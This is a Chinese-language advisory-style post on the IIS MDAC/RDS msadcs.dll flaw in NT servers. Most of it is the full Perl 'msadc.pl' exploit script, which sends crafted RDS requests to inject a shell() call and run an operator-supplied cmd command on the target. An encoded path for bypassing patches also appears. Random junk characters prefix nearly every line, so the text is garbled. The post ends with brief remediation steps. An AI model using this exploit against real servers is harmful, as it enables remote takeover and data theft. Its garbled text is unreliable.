IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
y'ZRoakz) _wa1R+`_ 涉及程序：
Z)RoFD1]C Microsoft NT server
ES~ ykE %i!&Fr 描述：
Z:H k'|q}I 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
A"wor\( YQU #aOl 详细：
^j "*-) R 如果你没有时间读详细内容的话，就删除:
m2!y;)F0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
gwvy$H 有关的安全问题就没有了。
dA;f`Bi;Q c< ke)@ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
`4 Jlf! yqdh LX|Mk 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Jh3(5d "MV 关于利用ODBC远程漏洞的描述，请参看:
RS'%;B-) &|t*9 D http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9~8U G ( j5lS u~
2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
nl9G1Sm(E http://www.microsoft.com/security/bulletins/MS99-025faq.asp N7A/&~g5L SKx &t- 这里不再论述。
B>dXyo CO25 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Pb05>J3N fD8A+aA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"Dbjp5_ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
[C@0&[[ oM`[&m., -5 -X[`cF #将下面这段保存为txt文件，然后: "perl -x 文件名"
S`yY<1[O : b^\O #!perl
]YF[W`2h #
aBX^Wd # MSADC/RDS 'usage' (aka exploit) script
Y<X,(\iEHP #
l`s_Id# # by rain.forest.puppy
9Ra_[1 #
y99 3uP # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
L_Q1:nL-0 # beta test and find errors!
'Wv=mBEf Z
Do3;-yp>` use Socket; use Getopt::Std;
ocwh*t)<k getopts("e:vd:h:XR", \%args);
wIi_d6? 2=pVX print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
)*[3Imq/ cC'{+j8-a if (!defined $args{h} && !defined $args{R}) {
?zwPF;L* print qq~
R8
1z|+c|_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
nK*$P +[R -h <host> = host you want to scan (ip or domain)
l@-J&qG -d <seconds> = delay between calls, default 1 second
OS c&n>\t -X = dump Index Server path table, if available
Ip }( !D| -v = verbose
86J7%;^Xa -e = external dictionary file for step 5
u_.`I8qa rYI9?q Or a -R will resume a command session
Q<$I,C] cX$ Pq ~; exit;}
/"d5<B `% ~ 2Jvb[IM $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+(d\` {A if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Z_&6 <1,H if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Yc+0 OBH[ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
[eV!ho*r $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{b4+ Yc if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<5*cc8 0w ?\KHT if (!defined $args{R}){ $ret = &has_msadc;
r0=Aru5n die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y$8
> fv KL]@y!QU print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"y@B| . "cmd /c ";
W2Y%PD9a $in=<STDIN>; chomp $in;
SJhcmx+ $command="cmd /c " . $in ;
e-Z+)4fH .%>U A|[~: if (defined $args{R}) {&load; exit;}
S [! -M\b X ^4HYm print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>U @7xeK &try_btcustmr;
r 5::c= Cl P@LYa_UFsN print "\nStep 2: Trying to make our own DSN...";
HpI[Af} l &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(7w`BR9B +,=DUsI} print "\nStep 3: Trying known DSNs...";
qG.HJ D &known_dsn;
aL @myq. r=[T5,L(s print "\nStep 4: Trying known .mdbs...";
)+2GF0% &known_mdb;
) &[S*g >jU.R;H5 if (defined $args{e}){
0sW=;R2 print "\nStep 5: Trying dictionary of DSN names...";
R.Xh&@f` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ON ~jt[ g1-^@&q print "Sorry Charley...maybe next time?\n";
?.#?h>MS{s exit;
C Sx V^ HJT}v/FZ ##############################################################################
- 7)%J+5 ?<c)r~9] sub sendraw { # ripped and modded from whisker
E/@w6uIK[ sleep($delay); # it's a DoS on the server! At least on mine...
Afi; s. , my ($pstr)=@_;
7a.$tT socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
uNe5Mv|} die("Socket problems\n");
x_lCagRGC4 if(connect(S,pack "SnA4x8",2,80,$target)){
cOa.]Kk select(S); $|=1;
zJNiAc print $pstr; my @in=<S>;
_y{z%- select(STDOUT); close(S);
JgXP2|Y ! return @in;
x j~ /C5@ } else { die("Can't connect...\n"); }}
,w%cX{ iK{ a9pt ##############################################################################
y\&GPr /7 #KkMg sub make_header { # make the HTTP request
VR /7CI4= my $msadc=<<EOT
+grIw# j POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
FHWzwi*u} User-Agent: ACTIVEDATA
?CKINN Host: $ip
*'=JT# Content-Length: $clen
a=bP Connection: Keep-Alive
8:hUj>q x \ } ,=" ADCClientVersion:01.06
x]|8 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
.8[B
}S( ' )%Kv`hz --!ADM!ROX!YOUR!WORLD!
HlEp
Dph% Content-Type: application/x-varg
e<s56<3j Content-Length: $reqlen
1't agv?
+-~hl EOT
],vUW#6$N ; $msadc=~s/\n/\r\n/g;
>&V?1!N" return $msadc;}
5`CPaJT$ rJi;"xF 8 ##############################################################################
Oo{+W 5[ 1jU<]09 . sub make_req { # make the RDS request
$!P(Q my ($switch, $p1, $p2)=@_;
(as'(+B my $req=""; my $t1, $t2, $query, $dsn;
^zn j J\
5zXw0_ if ($switch==1){ # this is the btcustmr.mdb query
]37k\O?vd $query="Select * from Customers where City=" . make_shell();
t]1j4S"pm $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6||zwwk'. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
#|'&%n|Z
5|2v6W!e elsif ($switch==2){ # this is general make table query
[9S\3&yoh $query="create table AZZ (B int, C varchar(10))";
No8 ~~ $dsn="$p1";}
D6&fDhO27 .r uGS.nS4 elsif ($switch==3){ # this is general exploit table query
/5M@>A^ ?' $query="select * from AZZ where C=" . make_shell();
9An_zrJ%i $dsn="$p1";}
z-(@j;. GF d~..$ elsif ($switch==4){ # attempt to hork file info from index server
.sNUU 3xSC $query="select path from scope()";
*xB9~ : $dsn="Provider=MSIDXS;";}
~I<yN`5(a ` M?C( elsif ($switch==5){ # bad query
c|q!C0X[ $query="select";
@7 xb/&N $dsn="$p1";}
IxC/X5Mp^q }} Ah-QU $t1= make_unicode($query);
seWYY $$ $t2= make_unicode($dsn);
]Hk8XT@Q+ $req = "\x02\x00\x03\x00";
<4s$$Uw}6% $req.= "\x08\x00" . pack ("S1", length($t1));
NQefrof $req.= "\x00\x00" . $t1 ;
5
OR L $req.= "\x08\x00" . pack ("S1", length($t2));
>o #^r; $req.= "\x00\x00" . $t2 ;
'@'~_BB ZP $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Sqj'2<~W return $req;}
w$ Lpuu n{ )yp+!\ ##############################################################################
z7V74hRPX Kl. xe&t@j sub make_shell { # this makes the shell() statement
.Lz\/ OS return "'|shell(\"$command\")|'";}
_urv
We ]Cy1yAv={ ##############################################################################
;8m_[gfw ypE cjVP D sub make_unicode { # quick little function to convert to unicode
AkdONKO8{ my ($in)=@_; my $out;
hU=n>g>nx for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/C"dwh"`` return $out;}
?CGbnXZ4Ug F XJI,(:- ##############################################################################
=)5eui>{ XE);oL2xP sub rdo_success { # checks for RDO return success (this is kludge)
# UGtY D}" my (@in) = @_; my $base=content_start(@in);
>QRpRHtb if($in[$base]=~/multipart\/mixed/){
5_";EED return 1 if( $in[$base+10]=~/^\x09\x00/ );}
TA; return 0;}
J \U}U'qP \[&`PD ##############################################################################
^S!^$d * sl^i%xJ|l' sub make_dsn { # this makes a DSN for us
~5$V8yfx h my @drives=("c","d","e","f");
)qs>Z?7 print "\nMaking DSN: ";
X~XpX7d! foreach $drive (@drives) {
4" 72 print "$drive: ";
Z\8TpwD2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
-E~pCN(E "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
b*=eMcd . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Y%!3/ 3T $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
H&\Ig D return 0 if $2 eq "404"; # not found/doesn't exist
:NJb<% $ if($2 eq "200") {
*IWO ,! foreach $line (@results) {
z VleJ!d return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tU7,nE>p } return 0;}
A2 r 1%}{ )@)wcf!b ##############################################################################
FNlzpCT~L ? _36uJo} sub verify_exists {
"e62g my ($page)=@_;
+@D [%l| my @results=sendraw("GET $page HTTP/1.0\n\n");
SPKGbp& return $results[0];}
$
hwJjSZ0 4L# q?]$ ##############################################################################
n[4F\I> , Zs:e. sub try_btcustmr {
*qKPZb~ my @drives=("c","d","e","f");
vy W/f my @dirs=("winnt","winnt35","winnt351","win","windows");
1z NH[
9ui_/[K foreach $dir (@dirs) {
M B|+F print "$dir -> "; # fun status so you can see progress
@? 4- foreach $drive (@drives) {
b['Jr% "O print "$drive: "; # ditto
W6f?/{Oo8 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[*zB
vj}G $reqlenlen=length( "$reqlen" );
HFYN(nz}[ $clen= 206 + $reqlenlen + $reqlen;
qPsf`nI7 u
'-4hU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
TR 3_!0 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
hX4 & B else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
^n#6CW*n `Q?rQ3A} ##############################################################################
S'T&`"Mr ZrJAfd \5c sub odbc_error {
`.Z MwA my (@in)=@_; my $base;
B6&PYMFK?* my $base = content_start(@in);
mk ?&`_X1 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
B[jCe5!w $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oiYI$ql3L $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UD1R _bL} $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~oO>6 return $in[$base+4].$in[$base+5].$in[$base+6];}
x aQ]Vjw print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
eqD|3YX print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-g8G47piX: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
K!^x+B| $%!'c#
F ##############################################################################
zr%2oFeX, $p@V1"x sub verbose {
6|gC##T my ($in)=@_;
@ , 0W( return if !$verbose;
W/COrgbW print STDOUT "\n$in\n";}
LwIl2u* ?)<DEu:Y ##############################################################################
K#q1/2 _j t>%v4}4 sub save {
l<I.;FN^9@ my ($p1, $p2, $p3, $p4)=@_;
Gs]m; "o|
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
t.|b285e print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
) jBP t& close OUT;}
?&?gQ#\N_J Hq'mv_}qG ##############################################################################
( 0/g)gW %>^CD_[eO sub load {
0NlC|5ma) my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
b*w iz d open(IN,"<rds.save") || die("Couldn't open rds.save\n");
${\iHg[vZ @p=<IN>; close(IN);
x]o~ %h$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ZN75ON L $target= inet_aton($ip) || die("inet_aton problems");
0LX;Vvo print "Resuming to $ip ...";
^hPREbD+f $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
jA@js v if($p[1]==1) {
C}grY5 : $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ST'M<G%4E $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
}gw
\w?/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
k?-GI[@X if (rdo_success(@results)){print "Success!\n";}
WK;X6` else { print "failed\n"; verbose(odbc_error(@results));}}
?v8.3EE1\o elsif ($p[1]==3){
?;NC (Z, if(run_query("$p[3]")){
297X). print "Success!\n";} else { print "failed\n"; }}
Ax &Z= elsif ($p[1]==4){
H4DM,.04 if(run_query($drvst . "$p[3]")){
Q?df5{6 print "Success!\n"; } else { print "failed\n"; }}
E`68Z/% exit;}
,e\' Y!' .$nQD.X ##############################################################################
! h7?Ap :t?Z sub create_table {
h!l&S2)D` my ($in)=@_;
:l~^un|<2Y $reqlen=length( make_req(2,$in,"") ) - 28;
-Lh\] $reqlenlen=length( "$reqlen" );
UYJMW S= $clen= 206 + $reqlenlen + $reqlen;
u0^Vy#@_ my @results=sendraw(make_header() . make_req(2,$in,""));
TC 7&IqT return 1 if rdo_success(@results);
c^ $_epc* my $temp= odbc_error(@results); verbose($temp);
LLE\ ;,bv return 1 if $temp=~/Table 'AZZ' already exists/;
x'dU[f( return 0;}
;!H<W[ c:QZ(8d]L ##############################################################################
i*-[-hn-V ~,j52obR6Z sub known_dsn {
I =G3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>2Z0XEe my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Mrpz (}) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
.W4P/P w' "banner", "banners", "ads", "ADCDemo", "ADCTest");
-|s
w\Q N.r8d C foreach $dSn (@dsns) {
f .Wip )g print ".";
(bpO>4(S next if (!is_access("DSN=$dSn"));
HLM cOuj if(create_table("DSN=$dSn")){
Wp7lDx print "$dSn successful\n";
b
EB3 #uc if(run_query("DSN=$dSn")){
6&jW.G8/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
kg0X2^#b print "Something's borked. Use verbose next time\n";}}} print "\n";}
@)[Q6w`x RsTz3]`yv ##############################################################################
bs_>!H1 4^4<Le-G sub is_access {
*4]u?R my ($in)=@_;
KZ8Hp=s $reqlen=length( make_req(5,$in,"") ) - 28;
3<Qe'd
^ $reqlenlen=length( "$reqlen" );
NX wthc3 $clen= 206 + $reqlenlen + $reqlen;
\YXzq<7 my @results=sendraw(make_header() . make_req(5,$in,""));
tOUpK20q.@ my $temp= odbc_error(@results);
i_/A,5TF verbose($temp); return 1 if ($temp=~/Microsoft Access/);
+qN }oyL
return 0;}
j1[Ng #. Vf28R,~m ##############################################################################
rw:z|-r N{/):O sub run_query {
zVEG )
Hr my ($in)=@_;
Vr/UY79 $reqlen=length( make_req(3,$in,"") ) - 28;
(2 n SZRB $reqlenlen=length( "$reqlen" );
EI+RF{IKh $clen= 206 + $reqlenlen + $reqlen;
"= =fW f my @results=sendraw(make_header() . make_req(3,$in,""));
=rL%P~0wq return 1 if rdo_success(@results);
W4MU^``
my $temp= odbc_error(@results); verbose($temp);
I8ZBs0sfF{ return 0;}
zG
IxmJ. 1f 3c3P J ##############################################################################
[)efh9P* S($8_u$U sub known_mdb {
q!L@9&KAQ my @drives=("c","d","e","f","g");
J d]kg,/ my @dirs=("winnt","winnt35","winnt351","win","windows");
&m{SWV+ my $dir, $drive, $mdb;
tVI6GXH my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
244[a]
%&; > nHaMj # this is sparse, because I don't know of many
\mK;BW g) my @sysmdbs=( "\\catroot\\icatalog.mdb",
aM U0BS" "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Gm`#0)VC "\\system32\\certmdb.mdb",
zWs ("L(#s "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
h7 r *5E }4Q~ <2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
3?%?J^/a "\\cfusion\\cfapps\\forums\\forums_.mdb",
RA];hQI? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
o]R*6$ "\\cfusion\\cfapps\\security\\realm_.mdb",
'{>R-}o[3 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
1>~bzXY# "\\cfusion\\database\\cfexamples.mdb",
0H9UM *O "\\cfusion\\database\\cfsnippets.mdb",
G4&vrM,f "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
p L [JGn "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
\&!qw[;O "\\cfusion\\brighttiger\\database\\cleam.mdb",
k -V3 l "\\cfusion\\database\\smpolicy.mdb",
P y@/\V "\\cfusion\\database\cypress.mdb",
.z+S @s[O "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
-eE r|Gs) "\\website\\cgi-win\\dbsample.mdb",
.}n- N
# "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
19h@fA[: "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
#gq!L ); #these are just
?hC,49 foreach $drive (@drives) {
{>v5~G foreach $dir (@dirs){
nrEG4X9 foreach $mdb (@sysmdbs) {
e =ITAH3b print ".";
VTUY#+3 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
0<3->u K print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
}xa~U,#5 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
L'?7~Cdls print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
n0a|GZyO] } else { print "Something's borked. Use verbose next time\n"; }}}}}
mz>GbImVD~ 'w$jVX/ foreach $drive (@drives) {
z=FOymv C foreach $mdb (@mdbs) {
mb\"qD5 print ".";
Svicw`uX0 if(create_table($drv . $drive . $dir . $mdb)){
-~_[2u^3 print "\n" . $drive . $dir . $mdb . " successful\n";
,K W IuCU; if(run_query($drv . $drive . $dir . $mdb)){
7oy}<9 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
7 :C_{\( } else { print "Something's borked. Use verbose next time\n"; }}}}
wU}%]FqtZ= }
&7J-m4BI %&iodo,EP' ##############################################################################
S+ 3l X7 Q\W ?qB_ sub hork_idx {
{*PbD;/f print "\nAttempting to dump Index Server tables...\n";
WGwIc7 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
1IPRI<1U $reqlen=length( make_req(4,"","") ) - 28;
: L+%5Jq $reqlenlen=length( "$reqlen" );
9)?_[ |2 $clen= 206 + $reqlenlen + $reqlen;
koojF|H> my @results=sendraw2(make_header() . make_req(4,"",""));
<B&vfKO^h if (rdo_success(@results)){
14pyHMOR my $max=@results; my $c; my %d;
vojXo|c for($c=19; $c<$max; $c++){
agGgj>DDd $results[$c]=~s/\x00//g;
8=MNzcA } $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
P jG^L
FX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
H~NK:qRzK $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
0-Ga2Go9 $d{"$1$2"}="";}
wg UgNwd1 foreach $c (keys %d){ print "$c\n"; }
kNd(KQ<.17 } else {print "Index server doesn't seem to be installed.\n"; }}
^wIg|Gc i5 0c N<o ##############################################################################
*S<d`mp[ ZLZh$eZZ sub dsn_dict {
LgxsO:mi open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*x-@}WY$U while(<IN>){
e>2KW5. $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
(O$il next if (!is_access("DSN=$dSn"));
eH ]9"^>
o if(create_table("DSN=$dSn")){
at+Nd K print "$dSn successful\n";
\0veld if(run_query("DSN=$dSn")){
] !X[[w) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Sby (?yg print "Something's borked. Use verbose next time\n";}}}
d K Qu print "\n"; close(IN);}
AM0CIRX$ v[<x>?i D_ ##############################################################################
w9w=2 * Sq SiuO.D sub sendraw2 { # ripped and modded from whisker
` 7 P%muY. sleep($delay); # it's a DoS on the server! At least on mine...
9e*o$)j_ my ($pstr)=@_;
m-2!r*(zt socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
nX_w F`n" die("Socket problems\n");
8ZF!}kb0F if(connect(S,pack "SnA4x8",2,80,$target)){
}nRTw2-z print "Connected. Getting data";
34,'smH i% open(OUT,">raw.out"); my @in;
K!,9qH select(S); $|=1; print $pstr;
Yos fk\D while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
\iRmGvT close(OUT); select(STDOUT); close(S); return @in;
I P } else { die("Can't connect...\n"); }}
,M jlA{0 c'INmc
I| ##############################################################################
MCAWn
H `>- 56 % sub content_start { # this will take in the server headers
0| DyYu my (@in)=@_; my $c;
fcTg/EXn for ($c=1;$c<500;$c++) {
&u!MI if($in[$c] =~/^\x0d\x0a/){
ti^ =aB
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
skYHPwJdW else { return $c+1; }}}
VGf&'nL@, return -1;} # it should never get here actually
t)5.m } if?X^j 0 ##############################################################################
e>m+@4*sn t$3B#= sub funky {
wBJ|%mc3TA my (@in)=@_; my $error=odbc_error(@in);
R"y xpw if($error=~/ADO could not find the specified provider/){
\f sNI T / print "\nServer returned an ADO miscofiguration message\nAborting.\n";
rvacCwI exit;}
P(UY}oU if($error=~/A Handler is required/){
+G6 G e; print "\nServer has custom handler filters (they most likely are patched)\n";
0a2#36;_IK exit;}
3a[ LM! if($error=~/specified Handler has denied Access/){
dZY|6 print "\nServer has custom handler filters (they most likely are patched)\n";
rJ{k1H > exit;}}
Z,DSTP\| 8!{
}WLwb ##############################################################################
u +O"c "rrw~ sub has_msadc {
vm7ag 7@O my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Rk-G| 52 g my $base=content_start(@results);
<TTBIXV return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
A34O(fE return 0;}
-, Js2+QZ# ~z(0XKq0d ########################
Z*b$&nM <G0Ut6J> Z2 Vri 解决方案：
`An p;el 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!+z&] S3s 2、移除web 目录: /msadc
